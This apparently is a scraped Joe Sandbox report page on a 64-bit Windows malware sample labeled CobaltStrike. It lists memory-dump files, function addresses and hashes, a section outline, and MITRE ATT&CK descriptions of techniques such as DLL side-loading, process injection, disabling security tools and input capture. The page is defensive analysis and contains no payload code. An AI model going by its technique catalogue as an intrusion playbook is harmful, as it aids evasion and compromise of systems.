Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: DownlevelLocaleName__crttry_get_function
String ID: LocaleNameToLCID
API String ID: 404522899-2050040251
Opcode ID: 304a77f7ab7c86e17e5440ab3ac69b1f209eb3badc2171328e25d96a0cc05762
Instruction ID: 31c4e0d57233f64d59cee30f66f242c20ea0aae41aa45013229f68d07de4da71
Opcode Fuzzy Hash: 304a77f7ab7c86e17e5440ab3ac69b1f209eb3badc2171328e25d96a0cc05762
Instruction Fuzzy Hash: 64E0923271054092FA179B53F4547EA2331AB8CB90F584035EB1D0B6F5CF78C8448341

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Function 00000001400757A8 Relevance: 72.1, APIs: 36, Strings: 5, Instructions: 384
stringCOMMONLIBRARYCODE

Function 0000000140075E0C Relevance: 63.3, APIs: 42, Instructions: 302
COMMONLIBRARYCODE

Function 00000001400377CC Relevance: 15.1, APIs: 10, Instructions: 115
memoryCOMMONLIBRARYCODE

Function 00000001400375D4 Relevance: 10.5, APIs: 7, Instructions: 35
COMMONLIBRARYCODE

Function 0000000140144AB0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 40
COMMONLIBRARYCODE

Function 0000000140075108 Relevance: 6.0, APIs: 4, Instructions: 44
COMMONLIBRARYCODE

Function 00000001400762D4 Relevance: 3.1, APIs: 2, Instructions: 69
COMMONLIBRARYCODE

Function 00000001400373A8 Relevance: 3.0, APIs: 2, Instructions: 24
COMMONLIBRARYCODE

Function 00000001401ED10C Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE